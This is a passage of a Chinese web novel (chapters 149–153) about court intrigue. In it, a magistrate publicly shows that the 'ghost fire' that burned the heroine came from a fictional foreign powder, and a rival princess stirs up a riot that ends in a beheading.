“你这蠢货,我怎么就生了你这么个蠢儿子!”忠毅伯府老夫人听完他说的话,气得瞪了他好几眼。 忠毅伯自知理亏,不敢反驳母亲,摸了摸鼻尖小声道:“母亲,您就帮帮鸿升兄吧,他也怪可怜的。” “他用得着你可怜?”忠毅伯府老夫人气得狠狠拍了他背后一下。 “这摆明是他早就看上了烈国公府那位骆姑娘,拿你当筏子呢。什么孩子在天之灵给他指引的明路。我呸。” “若定远侯那几个孩子能显灵,第一件事就是让他别娶后娘。” 忠毅伯被母亲训斥得如同鹌鹑一般老老实实地缩着,不敢吭声。 等到母亲骂得差不多了,他这才上前扮乖讨好,替她揉肩:“母亲,就这一回行不行。往后我再也不瞎答应这些事情了。” “若两家真的能结亲,您也是做了一桩好事呀。” 忠毅伯府老夫人没好气地瞪了他一眼。 “行,我去,但可不保证人家会答应。” “多谢母亲。”忠毅伯顿时露出了笑脸,“只要您去了我就跟鸿升兄有个交代了。” 忠毅伯府老夫人懒得搭理傻儿子。 正欲出门,就看到儿媳妇宁氏匆匆赶来。 “母亲,出事了。” “出什么事了?”忠毅伯府老夫人心下一紧。 “昨夜临仙楼有人身上燃了鬼火被烧伤了,引起了骚乱,踩伤踩死了许多百姓。我听闻烧伤之人正是定远侯的养女。”宁氏快言快语把事情说了出来。 “什么?”忠毅伯瞪圆了眼睛。 定远侯的养女都出事了,他怎么还有心情让他母亲去说媒啊。 宁氏横了他一眼,随即又看向了婆母,小声道:“还有,福安郡主没了,据说是被活活烧死的。” 忠毅伯府老夫人顿觉事情不妙,她严肃着脸看向儿子: “你先去瞧瞧定远侯,看看他的养女究竟是怎么一回事?烈国公府那边怎么说。” “哦。”忠毅伯点了点头,见母亲和夫人同时瞪他。 他立刻道:“我马上就去。” 不一会儿,忠毅伯就出现在了定远侯府。 定远侯有些疑惑。 忠毅伯老夫人提亲这么快就有结果了么? 不曾想,忠毅伯给他带来了一个炸裂的消息。 “星儿身上燃了鬼火,身受重伤?”定远侯顿时急了。 如今他所有的希望都在晏逐星身上,她怎么能出事呢。 “速速备马,本侯要去探望星儿。” 管家听到命令,欲言又止。 “愣着做什么,没听到本侯的话么?”定远侯不悦地看着他。 管家只得硬着头皮开口:“小的不知大小姐如今住在何处……” 定远侯脸色一僵。 好嘛,他也不知道。 晏逐星是自己搬的家,他也没去过她的新宅子。 见忠毅伯盯着他,定远侯咬紧了后槽牙:“蠢货,大小姐住哪都不知道,你可有将大小姐放在心上?” “本侯不是说了么。不管她是不是我的亲女儿,你们都要把她当成名正言顺的大小姐看待。” “她搬出侯府至今,本侯已经给了千两白银,你竟然连她住哪都不知道?” “是小的疏忽了,请侯爷责罚。”管家赶紧认错。 “扣你一个月俸禄,还不赶紧备马车。本侯亲自给你们指路!”定远侯赶忙将他赶了下去。 “是。”管家麻溜地退下。 “我御下不严,让望平兄见笑了。”定远侯叹了一口气,看向忠毅伯。 “呵呵呵呵。”忠毅伯干笑着不知怎么回答。 “烈国公夫人向来疼爱星儿,今日想必也会登门去探望她。或许也会带上骆姑娘,你说,我要不要借机与烈国公夫人表明心意呢?”定远侯看似询问,实则根本不给他回答的机会。 “不妥不妥,不如还是请老夫人替我走一趟吧。” 忠毅伯:“……” 说来说去,就还是得去提亲呗。 “望平兄,好姑娘可不等人。若有人捷足先登,我恐怕会懊悔终身啊。”定远侯重重捶胸,给自己捶得眼泪都飙出来了。 忠毅伯赶忙道:“好好好,我回去就同母亲说。鸿升兄莫要想不开啊。” 将忠毅伯送走后,定远侯忙派人去打听晏逐星如今究竟住哪。 好在没多久,他就查清了晏逐星的住所,他当即拎上补品去探望她。 “父亲怎么来了?”晏逐星得知定远侯来了,有些惊讶。 她可不认为定远侯有多在乎她。 “你受了伤,这么大的事,怎能不告诉父亲呢?”定远侯一副痛心疾首的表情。 “多谢父亲关心,父亲待我真好。”晏逐星假意感谢。 两人互相说了一些虚伪的客套话。 定远侯便打听起了宅子的来历。 得知是永安王借给她住的,定远侯看向她的眼神就愈发火热了。 看来星儿被永安王收为侍妾,那是迟早的事了。 至于永安王妃,他是不敢想的。 就算晏逐星是他的亲生女儿,怕是也够不着永安王妃的位置。 更遑论她如今是商贾之女的身份,能给永安王当侍妾已经是三世修来的福分了。 “星儿,永安王待你不同常人,你可要好好把握啊。”定远侯委婉暗示。 晏逐星听明白了他的言外之意,在心底冷笑。 她并未顺着他的话往下说,反而提起了另一件事。 第149章 京中的传闻 “父亲今日前来,怕是也听到了京中的传闻吧。”晏逐星幽幽地叹了一口气。 “什么传闻?”定远侯一愣。 晏逐星受伤的事情他还是听忠毅伯说的,如今京城在传什么,他还真不知道。 晏逐星缓缓道:“昨日有人在我的斗篷上动了手脚,差点要了我的命。” 定远侯点了点头,这事他知道啊。 “那火焰的颜色与寻常的不同,倒像是鬼火。如今京中有人在传我是邪祟,所以被烧才会冒出鬼火。温氏还有大哥、二哥还有二妹妹,都是被我克死的。”晏逐星说到最后,声音已然哽咽。 “一派胡言!”定远侯断然否认。 外人不知道,他还不知道么。 温氏是他逼死的,晏明远是想要弑父自作孽被烧死的,晏明修则是得罪了昭瑞亲王府被他们弄死的。 至于晏明月,那更是自己作死的。 原本有大好前程,非要胡作非为。 这与晏逐星有什么关系。 “那些都是无稽之谈,为父可不会相信!” 晏逐星掏出帕子,轻轻沾了沾眼角的泪:“我就知道父亲会信我。可王爷还有义母他们会不会信呢?” 她这么一说,定远侯便重新审视起她来。 是啊,若那些贵人们也觉得她是邪祟,克死了那么多人,别说庇护她了,不对她落井下石,敬而远之都算好的了。 “星儿莫要说这些丧气话,烈国公夫人待你向来极好,不会误会你的。”嘴上这么说着,但定远侯还是打算离开了。 “为父这就去彻查,看看是谁在外边胡乱造谣,你且等着啊。” 说完他便急匆匆地离开了。 如果晏逐星和烈国公府关系不能继续维系,那他得快点把骆文缨娶进门。 然后让骆文缨赶紧生下孩子,这样他就可以跟烈国公府牢牢地绑在一起了。 晏逐星看着他匆忙离去的背影,嗤笑一声。 “小姐,京中那些传言真的不用管么?”衔蝉忍不住开口。 “暂时不必管。”晏逐星摇了摇头。 她已经猜到了是大长公主府的人在背后散播这些谣言。 福安郡主死了,但她身边知根知底的人并没有死绝。 她想要杀她灭口的计划,肯定还有人知道。 朝华大长公主若是知道了,不管福安郡主是不是因为她而死,大长公主都会替女儿完成最后的心愿,杀了她。 “不过此事可以给裴大人透露一二,你就说我因为此事吃不下饭,睡不着觉,如今一心想寻死。”晏逐星眼珠子一转,想到了一个好主意。 裴明镜若是知道她这个受害人这么惨,按照他的性子,一定会抓紧时间破案的。 届时将福安郡主牵扯出来,朝华大长公主就没空来针对她了。 “啊?”衔蝉听到这话一愣,她想到自家小姐今日午膳用了两大碗饭。 吃不下? 睡不着? 这谎她怕是撒不好,还是让双鲤去吧。 双鲤爽快地接下任务。 不就是去裴大人面前演戏么,一回生二回熟,她擅长! * “大人,如今京中四处在传我家小姐是邪祟,呜呜呜,您一定要早日查到真凶,还我家小姐一个公道啊。”双鲤哭哭啼啼地来了京兆府。 裴明镜忙了一天一夜,如今还没着床又被双鲤给叫住了。 他这才知道京中已经传出了这样离谱的谣言。 裴明镜沉声道:“那不是鬼火,那是夜飞砂燃烧后的颜色。” “可百姓们不像大人您这般见多识广,他们只会觉得我家小姐是鬼怪,呜呜呜呜,我家小姐本就受了伤,如今吃不下睡不着,这可如何是好呀。”双鲤哭得愈发大声了。 裴明镜听到这话,心中不由有些担忧,脱口而出:“可曾请了太医?” “请了。可太医只能治手上的伤,不能治心里的病啊。”双鲤抽抽噎噎道,“我家小姐真是命苦。自小离开了爹娘,如今还被人污蔑,呜呜呜呜。老天爷啊,你就不能对我家小姐好一些么。” 路过京兆府的百姓们都忍不住驻足观望。 有那打抱不平的正义路人没认出没穿官服的裴明镜,厉声道:“你一个大男人,怎么还欺负小姑娘呢。” “那是京兆尹大人,你不要命啦。”另一个人赶忙扯了他一把。 先前的正义路人有些尴尬地摸了摸鼻尖,正准备假装无事发生,就看到双鲤可怜巴巴地看着他,还是没忍住站出来仗义执言、 “京兆尹又如何,欺负小姑娘就是不对。” 双鲤走上前,大声道:“大叔,谢谢您。但裴大人是好官,他没欺负我,只是我家小姐身受重伤还被人污蔑,我想请裴大人快点查出真凶,还她清白。” 她这句话顿时引来了众人的好奇。 “你家小姐是谁呀?” “被污蔑了什么呀?” 众人你一言我一语地问了起来。 这下裴明镜站了出来:“昨夜临仙楼被烧伤的姑娘便是她家小姐。” 他一说,在场的人都想起了昨夜的事。 “啊,是身上有鬼火的那个姑娘。”有人脱口而出。 “那不是鬼火,那是夜飞砂,来自西戎的一种秘物。”裴明镜冷静地开口解释。 “什么飞沙?” “夜什么啥?” 百姓们并未接触过这玩意,乍一听都很陌生,你看看我,我看看你,十分茫然。 裴明镜朗声道:“诸位若有疑虑,不如今夜到京兆尹门口来,本官给诸位证明,晏大小姐昨夜身上烧伤乃是有人故意为之,而非什么鬼火。” 见他们犹犹豫豫,裴明镜正思索着该说什么,就听到一旁的双鲤大声叫嚷了起来: “来的人,每个人发一个鸡蛋!仅限前五百个人,来晚了,可就没咯。” 听到这话,原本还有些犹豫的百姓们当即答应了下来。 “我要来!” “小姑娘,什么时辰可以领鸡蛋啊?” “鸡蛋一人一个,那我全家都来,能不能全家都有啊?” 所有人都围着双鲤问了起来。 向来是人群中众星捧月存在的裴明镜头一次沦为了陪衬。 裴明镜:“……” 合着他说的话,还不如双鲤发的一个鸡蛋管用? 京兆府前发生的事情,谢翊宁很快就知道了。 双鲤是晏逐星的丫鬟,若没有她的示意,她不可能去找裴明镜。 谢翊宁想到这心里就有些不高兴。 他昨夜的话白说了么,不是让她有事就找他,他给她撑腰。 怎么又去找裴明镜? “停云,照夜,你们替本王去办一件事。抢在裴明镜今夜证明之前办好。” 谢翊宁指节轻扣,想到了一个更好的法子。 他要让全京城的百姓都知道,晏逐星昨夜是被人陷害的,她身上燃烧的是夜飞砂,而非什么鬼火。 听完他的吩咐,停云和照夜正欲离开,却又被他给叫住了。 “等等……” 第150章 盛装去见他 谢翊宁沉声道:“算了,等裴明镜证明完你们再行动吧。” 她都费心费力让裴明镜去办了,他可以锦上添花,没必要去破坏她原有的计划。 多一个人替她澄清,她身上的污水也可以早日洗清。 “是。”停云和照夜对视一眼,点头应下。 虽然不知道王爷为何忽然又改了主意,但两人还是老老实实照办。 看着他们离去的背影,谢翊宁忍不住在心里暗暗腹诽:他真就不信这个邪了,他替她做得那么好,下回她还找裴明镜。 * 双鲤有些忐忑地跑回了晏宅。 先前她怕晚上那些人不来看裴大人澄清,她张口就承诺了五百个鸡蛋。 一个鸡蛋两文钱,五百个那就得花掉一两银子了。 “陈双鲤,你真是出息了,没经过主子同意,竟敢自作主张花一两银子!”双鲤伸出手狠狠敲了下自己的脑袋。 自打跟着大小姐后,她的吃穿用度比寻常丫鬟强百倍,大小姐宽厚,时不时还有些赏银下来。 导致她现在竟然敢随口许诺出一两银子的东西。 这太可怕了! 今日她能爽快地给出一两银子的鸡蛋,明日会不会一时激动就许诺十两,百两,甚至是千两银子。 那时候岂不是给小姐添大麻烦了? 她忐忑地回了宅子,将先前发生的事情告诉了晏逐星。 “大小姐,您放心,奴婢之后不会再这样擅作主张了。这一两银子,您从奴婢的月银里扣吧。”双鲤垂头丧气地开口,出府前的活泼机灵劲都蔫巴了。 “你做得很好,我为何要扣你的月银。”晏逐星笑了起来。 双鲤比她想的还要机灵。 “真的吗?小姐没有骗我吗?”双鲤听到她的夸赞,眼睛一下就亮了起来。 小姐的三个大丫鬟里,九栀姐姐武力高强,可以保护小姐;衔蝉姐姐知识渊博,什么都懂,可以陪着小姐进宫见各种贵人。 而她什么也不会,只有一些小机灵和上不得台面的小伎俩,以及对小姐的忠心。 现在就连张小乙都被小姐委以重任了。 她就更担心自己会不会因为没有用被小姐送走了。 如今听到小姐这么说,她心里别提有多高兴了。 “我骗你做什么。”晏逐星笑着摸了摸她的脑袋。 “这事你办得很好,当赏。” 说完便让衔蝉去拿了五两银子交给她。 “多谢小姐赏!”双鲤整个人又活了过来,捧着银子傻笑开心不已。 晏逐星看向了自己的几个心腹丫鬟,温声道:“很多时候我不在现场,就需要你们随机应变。双鲤今日就做得很好。一两银子就能换来几百个人自发替我辩解,这笔生意再划算不过了。” “是,奴婢记住了。”双鲤高高兴兴应下。 衔蝉和九栀也都跟着点头。 才高兴没多久,就听到下人来报。 “大小姐,裴大人来了。” 晏逐星:!!! 裴明镜怎么来了? “快快快,小姐,您坐好,我给您上妆。” 衔蝉着急忙慌地将她按到了铜镜前,往她嘴唇上敷了一层粉。 瞥见妆台上昨日研磨好未干的些许螺子黛膏,顾不得寻笔,直接用指腹沾了点半湿润的黛色,极轻极快地点按在晏逐星泛青的眼底,晕开了一层让她看起来十分憔悴的阴影。 一旁的九栀嘴唇抽了抽,弱弱道:“衔蝉,这粉是不是撒得有点多了?小姐这看起来不像一夜未眠,反倒像命不久矣。” 说完意识到自己这话说得不对,赶忙解释:“咳咳,小姐,奴婢失言了,奴婢不是那个意思。” 晏逐星被她的话逗笑了。 “我知道你不是有意的。” 她推开了衔蝉想要补救的手,直接在她敷好的粉上叠了一层胭脂。 “小姐这是何意?”衔蝉愣住了。 双鲤不是告诉裴大人,小姐不吃不喝了吗,如今不是该让自己显得虚弱些么,怎么小姐反倒浓妆艳抹了起来。 “裴明镜与常人不同,你那样做,只会让他怀疑我。”晏逐星没有遮掩衔蝉加重的眼底乌青,轻描淡写地替自己上了个妆。 “好了,去见裴大人吧。” 晏逐星刻意打扮了一番,让裴明镜在花厅里等了一刻钟方才出现。 “抱歉,让裴大人久等了。”晏逐星说话的声音比往常低了几分,听起来有些有气无力。 “你……”裴明镜看清她的脸,话音戛然而止。 他知晓晏逐星容貌出众,只是她平日里从不施粉黛,眉目间天然带着清冷疏离。 他从未想过她竟会如此妆扮。 仿佛脱胎换骨一般,素净的容颜被精心勾勒,眉眼染上了浓墨重彩的艳色,朱唇一点,灼灼其华。 如同蒙尘明珠一朝拭净,骤然迸射出令人不敢逼视的璀璨。 这强烈的反差太过震撼,裴明镜只觉得胸腔里那颗心猛地一撞,呼吸都窒住了。 他的目光停留在晏逐星那张焕然一新的脸上,脑中一片空白。 “裴大人忽然造访,可是查清了真凶?”见他不说话,晏逐星主动挑起了话题。 裴明镜意识到自己这样直直盯着姑娘家不礼貌,当即收回了目光。 他解释道:“尚未。本官听闻你因为市井流言茶饭不思,特来宽慰你……” 说到这,他又觉得不妥。 他和晏逐星非亲非故,他有什么立场来安慰她。 “大人多虑了,我并未茶饭不思,我只是受了伤有些疲惫罢了。嘶……”晏逐星亲自给他斟茶,结果却不小心牵动了伤口倒吸一口凉气。 “何必逞强。”裴明镜当即抢过了她手中的茶壶,让她坐下。 “你放心,最多三日,本官一定将真凶找到。鬼火一事,本官也会命人替你澄清。” 说完他盯着她眼底的乌青,眉头锁得紧紧的。 “晏大小姐还是好好休息吧,不必上妆自欺欺人。” 平日里从不打扮的她,今日忽然盛装见他,分明是不想让他瞧见她如今的脆弱。 说完他转身就走。 一旁的衔蝉和九栀目瞪口呆。 还真让大小姐说中了呀,盛装来见裴大人,反倒让裴大人信了小姐寝食难安。 见他离去,晏逐星唇角勾起了一抹狡黠的笑。 裴明镜这或许就是聪明反被聪明误吧。 人啊,就是不能想太多。 她喝完最后一口茶,起身打算回屋和衔蝉讨论一下今夜吃什么,就看到了一个不可能出现在她家里的人。 第151章 像老夫老妻 “王爷,您怎么来了?” 怎么还没走正门。 后面这句话晏逐星咽了回去。 谢翊宁正站在她的院墙下看着什么。 “怎么?只欢迎裴大人来,不欢迎本王?”谢翊宁转身,唇边噙着漫不经心的笑。 晏逐星赶忙摇头否认:“没欢迎裴大人啊,他来只是为了查案。” “查案需要你这般盛装去见他么?你见本王也没这般用心打扮呀。”后一句话,谢翊宁说得有些含混不清。 但晏逐星还是听得分明。 她暗道一声糟糕。 永安王自小锦衣玉食,什么都是最好的,自己今日盛装去见裴大人,往常见他时却这般随意,他难免觉得她更看重裴大人。 这可万万不行。 裴大人和永安王孰轻孰重,她可是拎得很清的。 “那是因着那些谣言,为了让他信我茶饭不思,才刻意为之。”晏逐星连忙解释缘由。 “况且,”她话锋一转,语气带上几分小心翼翼地试探,“裴大人是外人,王爷是自己人。自己人跟前,何须这般刻意妆扮?那倒显得生分了。” 一句“自己人”让谢翊宁心里舒坦多了。 也是,往常里在王府没有外人的时候,他才不耐烦穿那些锦衣华服。 但他心底还是有些小小的不痛快。 “既然说本王是自己人,那为何遇事不找本王,反倒去找裴明镜?”谢翊宁挑眉看向她。 这回晏逐星倒是理直气壮了起来:“他乃京兆尹,查案本就是职责。我给他点压力让他查快点怎么了。再说了,杀鸡焉用牛刀,小小谣言,何须王爷出手。” 谢翊宁面无表情地伸手点了点她的脑门。 “巧舌如簧,阿谀奉承。” 而后唇角却勾起了一抹笑。 “不过本王爱听。” 他斜睨了一眼身后的停云。 停云总问他为何对小恩人这般好。 瞧瞧人家,多会说话。 这般知情知趣,知恩图报,他对她再好一点都不为过。 见他终于露出真心的笑,晏逐星总算松了一口气。 看来她那话说对了。 她有些好奇地询问:“王爷今日怎么不走正门?” “父皇将我叫入宫中旁敲侧击了一番,太后和朝华姑母她们似乎怀疑福安之死乃是我所为。” 谢翊宁一句话让晏逐星的心顿时悬了起来。 “然后呢?”她忍不住追问。 “然后我当然否认啦。”谢翊宁说得十分轻松。 反正本来也不是他干的。 他顶多算个帮着毁尸灭迹的从犯。 “父皇自然也就没有继续问了。不过我怕朝华姑母会盯着你这边,若我光明正大来见你,反倒会让她对你产生更多怀疑。所以我就走后门了。”谢翊宁没有遮遮掩掩,直接把事情都说了出来。 跟着一块来的停云欲言又止: 王爷您那是走的后门吗,您明明是翻墙。 再说了,翻墙进人家姑娘的院子不是什么光彩的事情吧,王爷怎么就说得这般坦荡? “那确实。”晏逐星认可地点了点头。 “不过您来与不来,朝华大长公主都没打算放过我。所以您还是可以光明正大地从正门来的,我也好招待您,而不是让您在院子里吹冷风。” 谢翊宁环顾了有些空荡的院子一圈,点头:“倒是本王考虑不周了。你这院子空落落的,明日让人给你送些花来吧。” “我听衔蝉说你院子里从前种的是梅花,只是如今不好移栽,不如等开春后吧。” “不必,其实我不怎么喜欢梅花。玉澜院的花是定远侯府的人栽种的,我选那个院子不过是图它方便罢了。”晏逐星摇头拒绝了。 说完她有些后悔。 王爷给她送东西,她拒绝了是不是会显得她有些不知好歹? “那你喜欢什么花?只管开口。反正本王都能给你找来。”谢翊宁的语气十分坦荡。 晏逐星看着如今有些空旷的院子,畅想了起来。 “其实我不怎么爱花,若有得选,倒不如在院子里种些果树。夏日的葡萄秋日的石榴,还有冬日的柿子,都很不错。既能赏花又能吃果子。” 这些念想,皆是上一世在军营中,听那些来自天南地北的将士们絮叨而来。 那时她总想着,待山河平定,烽烟散尽,她一定要过上这样的日子。 “哟,种果树好呀!等葡萄爬满了架,在底下拴个秋千。”谢翊宁眉梢一挑,唇角勾起懒洋洋的笑,“闲着没事晃荡两下,还能顺手摘两串葡萄尝尝,岂不美哉?” “好主意!”晏逐星眼眸一亮,当下便将这提议刻入心底。 上一世她被温如霜磋磨数年,早忘了该如何享乐。 如今重活一世开府独居,天高地阔,她心底最重要的念头便是:复仇成功后,要将自己重新、精心地养一回。 万事万物,但求顺心。 两人你一言我一语,聊得倒是投入。 停云已经习惯了他们俩这聊天方式,见怪不怪。 反正晏大小姐说什么,王爷都说好。 想要什么,王爷都会给。 反倒是衔蝉头一回近距离看两人这样相处,感觉有些怪怪的。 小姐和王爷这对话怎么听着那么像老夫老妻? 意识到自己在想什么,衔蝉猛地瞪大了眼睛。 天啊,她好像发现了什么不得了的事情。 第152章 是杀人灭口 两人你一言我一语,越说话题跑得越偏。 “先前听到你和衔蝉商量吃什么荷叶鸡,这是什么做法,本王怎么从未听过?”谢翊宁好奇询问。 晏逐星有些不好意思地摸了摸鼻尖:“其实我也没吃过,只是听别人说起过觉得新奇有趣,想必滋味不凡,故而想要试试。只可惜如今新鲜荷叶无处可寻,黄泥也冻得硬如铁石……” 说到最后,语气里不自觉地带上了几分惋惜。 “这有何难?王府里存着些秋日收的干荷叶,本是预备着夏日煮茶清心或是入药用的。”谢翊宁眉梢一扬,“停云,回府去取干荷叶来。” “还得有泥。”晏逐星提醒。 谢翊宁略一沉吟,想起了王府后园新移了几株老梅,原本是打算先自己实验一下,若是种活了给晏逐星府邸也种几棵。 如今倒是凑巧了。 “王府后园有新翻出的花土,细腻得很,让停云取些黏腻的土来便是,正好试试这冻土能否成事。” 停云应下,转身就回王府取东西去了。 而后谢翊宁又道:“还需要什么?本王一并给你解决了。” 晏逐星目瞪口呆。 不是随便聊聊么,怎么说做就做了。 “鸡、盐、饴糖、花椒酒……”晏逐星下意识地把需要的东西说了出来。 “奴婢这就去准备。”衔蝉抢先应下去准备。 这些东西就不劳烦王爷去王府拿来了。 不然显得他们多穷酸啊。 见衔蝉离开,晏逐星猛地一拍脑袋:“等等,王爷,您今日来寻我所为何事?可别耽误了。” 她被谢翊宁给带偏了,聊了那么久的废话。 这么重要的事情,她差点忘了问。 谢翊宁一怔,这才将自己抛之脑后的事情想了起来。 “是这样的,朝华姑母不是想要用你身上的鬼火做文章么,咱们就以其人之道还治其人之身……” 他唇角勾起一抹促狭的笑,将自己的计划说了出来。 晏逐星听完佩服得五体投地,这么好的法子她怎么就没想到呢! 她忍不住赞叹道:“王爷真是聪慧过人,这么好的办法也只有您才能想得出来。” “过奖过奖,本王只是略施小计罢了。”谢翊宁嘴唇上扬,眉眼都带着如沐春风的笑意。 * 裴明镜从晏宅离开后,只是在京兆府睡了了一个多时辰,又起身继续去查案了。 金光门外有一条街,无论是琉光或是西戎来大虞行商的商贩,都会寄居于此,在此行商。 出现在晏逐星身上的夜飞砂,也出自这里。 “裴大人,稀客啊,怎么来咱们这了。”西戎商人阿迪勒瞧见裴明镜,乐呵呵地冲他打招呼。 裴明镜可是京城父母官,他们来大虞做生意的,都识得这位京兆尹大人。 “京兆府查案。”裴明镜没有废话,亮出令牌单刀直入。 “夜飞砂,你都卖给了谁?” “呵呵,裴大人说笑了。”阿迪勒干笑两声,眼神闪烁,“小店每日迎来送往,卖出的货物不计其数,哪能桩桩件件都记得卖给谁了呀。” 他搓着手,试图将这事含糊带过。 “每售出一物,必有账册详录。”裴明镜语调平淡,却字字千钧。 “夜飞砂有毒,此物售出你岂会不记下买家姓名?否则……”他略一停顿,视线锁住阿迪勒的脑袋,“一旦事发,株连查抄的就不止你这铺子,还有你的项上人头。” 阿迪勒摸了摸自己的后脖颈,感觉凉飕飕的。 他顿时露出了一个讨好的笑:“大人说笑了,我确实记不清。” 见裴明镜眼神如炬,他赶忙补充。 “我的意思是我记性不好,记不清是谁买的了。但是吧,还好我有册子!小人这就给您拿。” 阿迪勒折回库房,翻找了一盏茶的功夫,这才将册子打开递给裴明镜。 “这正是近一个月内购买夜飞砂的人名。当然,他们若是用假名,小人也就没辙了。” 裴明镜迅速将那几个人的名字和采买时间都飞快记了下来,而后当即吩咐郑晗去查。 “你仔细和郑晗说说这些人的相貌,以及当时购买的情况。” 阿迪勒听到这话,露出了苦笑:“大人,我哪记得那么多呀。” 裴明镜只是轻轻瞥了一眼他的脖子,他立刻改口:“我一定知无不言言无不尽,仔细配合大人们查案。” 郑晗把人带走,裴明镜没有停留,继续去了下一个地方——朝华大长公主府。 正好,朝华大长公主也想见他,直接让他进了公主府。 “福安的案子,你查得如何了。”朝华大长公主沉着脸询问。 她已经知道了裴明镜要替晏逐星澄清她身上的火非鬼火一事,她火冒三丈,但她又不能勒令裴明镜停止调查。 因而今日只能转移他的注意力,想要让他不要再管这事。 “郡主的案子由大理寺和刑部负责,京兆府无权过问,微臣无能为力。”裴明镜如实告知。 “本宫不是让京兆府去查,是让你去查!”朝华大长公主隐隐有些控制不住自己的怒火。 “福安本来会是你的未婚妻,你放着她的死不管,反倒去查什么鬼火不鬼火的。” “难道在你心中,福安还没有一个商贾之女重要么?” 裴明镜眉尖微微蹙起。 他一字一句道:“殿下,微臣查的是自己该查的案子,与案件中人无关。何来谁比谁重要一说。所有的案子,在微臣这都很重要。” “既然你不管福安的案子,你来公主府做什么,你赶紧走吧。”朝华大长公主用最后的理智控制住了自己没对裴明镜恶言相向。 裴明镜这般冷心冷肺,就算福安还活着,嫁过去恐怕也讨不了什么好。 之前看裴明镜有多满意,现在她就有多厌恶。 “微臣听闻郡主遇害当夜,还有一个丫鬟在太白楼罚跪,微臣有话想要问她。”裴明镜平静地开口,像是没听到朝华大长公主赶走他的那句话。 朝华大长公主冷笑:“福安的案子不归你管,她的丫鬟也轮不到你审。” “那个丫鬟涉及上元节踩踏案件,微臣寻她问话合情合理。”裴明镜不为所动。 朝华大长公主下意识地攥紧了拳头。 上元节踩踏怎么扯到福安身上了,难不成裴明镜查到什么了? 她端起茶盏,故作淡然:“那倒是可惜了。那丫鬟思主心切,得知福安不幸身故,竟也跟着去了。” 她轻轻吹了吹茶沫,语气带着一丝仿佛真切的惋惜。 “这份忠心,本宫倒是颇为欣赏,已命人将她厚葬了。只盼她在九泉之下也能好生伺候福安。” 裴明镜的眉头骤然锁紧。 思主心切? 他听着分明是杀人灭口。 “既是如此,那微臣就不打扰了。”裴明镜提出告辞。 看着他离去的背影,朝华大长公主还是没忍住叫住了他。 “裴大人,昨日上元节才出了事,今夜你确定还要在京兆府门前让百姓们聚集么?不如算了吧。” “多谢殿下提醒,微臣定会小心行事。”裴明镜没有接受她的建议。 朝华大长公主一顿,而后脸上浮出一抹疏离的笑:“既是如此,那就祝裴大人好运了。” “借殿下吉言。”裴明镜转身离去。 他一走,朝华大长公主就变了脸色。 她恶狠狠道:“贱人,给脸不要脸。既然你非要替那个商贾之女澄清,那便和她一同陪葬好了。” 第153章 为蛋丢了命 夜幕降临前,京兆府门口已经聚集了一堆人。 见双鲤和衔蝉领着府中的下人把鸡蛋搬来了。 看见几大筐鸡蛋,众人便知道他们没骗人,议论纷纷了起来。 “呀,还真能领鸡蛋啊!” “幸好我来得早。” “嚯,我回家跟我娘说京兆府白送鸡蛋,我娘还不信,等我领回去了,我自个吃。” 你一言我一语,若不是裴明镜提前安排了带刀的衙役护着,他们就要涌上来了。 “都退一退,等裴大人给大家证明了夜飞砂能烧出和鬼火一样的颜色,大家就可以来领鸡蛋了。” 双鲤扯着嗓子喊了起来。 衙役们重复着她的话。 几十个声浪连成一片,百姓们被震慑住了,乖乖退下。 双鲤听着心里不由有些小激动。 诶嘿,她竟然也能指挥那么多吃皇粮的衙役了,她岂不是比他们更厉害了? 很快,百姓们便依言退到了后边,却个个伸长了脖颈踮起脚尖,恨不得将眼珠子都贴上去,只想瞧清这传闻中的“鬼火”究竟是何模样。 裴明镜命人先端来一小盆凝固的雪白猪油,置于空地中央。 他亲自取过盛着夜飞砂的皮囊,用银匙小心翼翼舀出一小撮,在众目睽睽之下,砂砾无声地落在洁白的猪油上。 “嗤啦”一声响。 砂粒接触油脂的瞬间,一簇幽异无比的青绿色火焰骤然腾起。 那火焰跳跃不定,毫无寻常火焰的暖意,与晏逐星昨夜身上斗篷燃起时的场景一模一样。 如同坟地间飘荡的鬼火一般,透露着说不清道不明的诡异。 前排的百姓下意识地后退半步,倒吸了一口凉气,脸上交织着惊恐与好奇的神色。 “还真的和昨夜那场景一样诶?” “所以不是鬼火,是有人故意害那小姑娘?” “那个小姑娘也太可怜了吧。” 百姓们忍不住议论纷纷。 裴明镜冷眼注视着那跳跃的青焰,朗声道:“诸位请看。此物名为夜飞砂,来自西戎。遇油脂便燃,焰色青荧,此乃其物性使然,非是鬼神作祟。所谓鬼火,不过是无知者以讹传讹罢了!” “昨夜那位姑娘,是被人害了,而非什么妖邪,诸位父老乡亲不要被蒙蔽了。” 话音一落,他当即示意手下立即用厚实的湿布盖灭了火焰,一股刺鼻的淡淡白烟腾起,又被迅速驱散,以防毒烟扩散伤及无辜。 就在这时,变故突现。 “那又如何,那只能证明它也会发绿光,又不能证明昨夜定远侯府那位假千金身上燃起的不是鬼火!” “她克死了侯府主母还有侯府的两位少爷和真千金,她就是邪祟。” 人群中有人嚷嚷了起来 裴明镜脸色一沉,脑子里一瞬间就浮现出了朝华大长公主的脸。 今日她说的话,不是好意提醒而是警告威胁。 “子平,找出喊话之人,将其拿下!”他果断下令。 “好戏看完了!还愣着作甚?快抢鸡蛋啊,去晚了可就啥都不剩一根!” 人群中,奉命搅混水的家伙扯着嗓子又嚎了一记,话音未落,人已像泥鳅般率先钻出,直直扑向堆放鸡蛋的箩筐。 “哎!你等等!我排前头的!”旁边一人眼见他要得手,顿时急了眼,哪还顾得上规矩,拔腿就追了上去。 这一下如同火星溅进了油锅。 排了半晌队,腿都站麻了的百姓们心心念念的就是那口鸡蛋。 眼见有人带头冲了,方才看“鬼火”的惊疑瞬间被抛到九霄云外,脑子里只剩下一个“抢”字。 呼啦一下,人群像决了堤的洪水,争先恐后地涌向那几筐白花花的鸡蛋。 “退下!都给我退回去!按秩序来!”衙役们厉声呵斥,奋力张开手臂试图阻拦。 面前的都是寻常百姓,他们不能滥杀无辜,只得高声呵退。 可汹涌的人潮哪里还听得进去。 法不责众的念头冒了出来,再加上那点蝇头小利的诱惑,百姓们此刻血气上涌,推搡着、叫嚷着,硬是凭着人多势众,将衙役们冲撞得东倒西歪。 就算有人想要退,如今被裹挟在其中,也只得继续往前了。 奉命在暗中照看的照夜瞧见那个挑事的人,冲上前一刀砍下了他的脑袋,气沉丹田,呵斥道:“所有人后退,不退后者杀无赦。” 人头咕噜噜地滚到了地面。 见了血,先前血气冲上脑袋的百姓们瞬间都冷静了下来。 他们瑟瑟发抖,不敢再乱来。 